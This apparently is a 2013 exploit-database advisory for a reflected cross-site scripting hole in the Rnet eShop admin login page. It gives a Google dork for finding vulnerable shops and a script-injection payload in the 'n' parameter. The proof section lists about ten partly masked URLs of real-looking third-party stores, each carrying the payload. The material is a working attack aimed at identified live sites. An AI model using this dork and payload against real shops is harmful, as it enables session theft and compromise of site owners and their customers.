#****************************************************************** # [+] Exploit Title : Rnet eShop Cross site scripting vulnerability # # [+] Software link : http://www.rnet.no # # [+] Exploit Author : Ashiyane Digital Security Team # # [+] Tested on: Windows 7 , Linux # # [+] Google Dork : intext:" Powered by Rnet eShop" # # [+] Date: 2013/09/01 # -------------------------------------------------------------------- # [+] Exploit : # # [+] Location : [Target]/_admin_login.asp?e=&n=[xss] # #------- # Proof: #------- # # http://wwwXia.no/_admin_login.asp?e=&n="/><script>alert(1);</script> # # http://www.Xz.com/_admin_login.asp?e=&n="/><script>alert(1);</script> # # http://wwXrt-alarm.no/_admin_login.asp?e=&n="/><script>alert(1);</script> # # http://wwXlv.no/_admin_login.asp?e=&n="/><script>alert(1);</script> # # http://wwXXng.no/_admin_login.asp?e=&n="/><script>alert(1);</script> # # http://wXXes.no/_admin_login.asp?e=&n="/><script>alert(1);</script> # # http://wwXXp.no/_admin_login.asp?e=&n="/><script>alert(1);</script> # # http://taXXt.no/_admin_login.asp?e=&n="/><script>alert(1);</script> # # http://www.glaXXX.com/_admin_login.asp?e=&n="/><script>alert(1);</script> # # http://www.peXXop.no/_admin_login.asp?e=&n="/><script>alert(1);</script> # # ###################### discovered by : ACC3SS ######################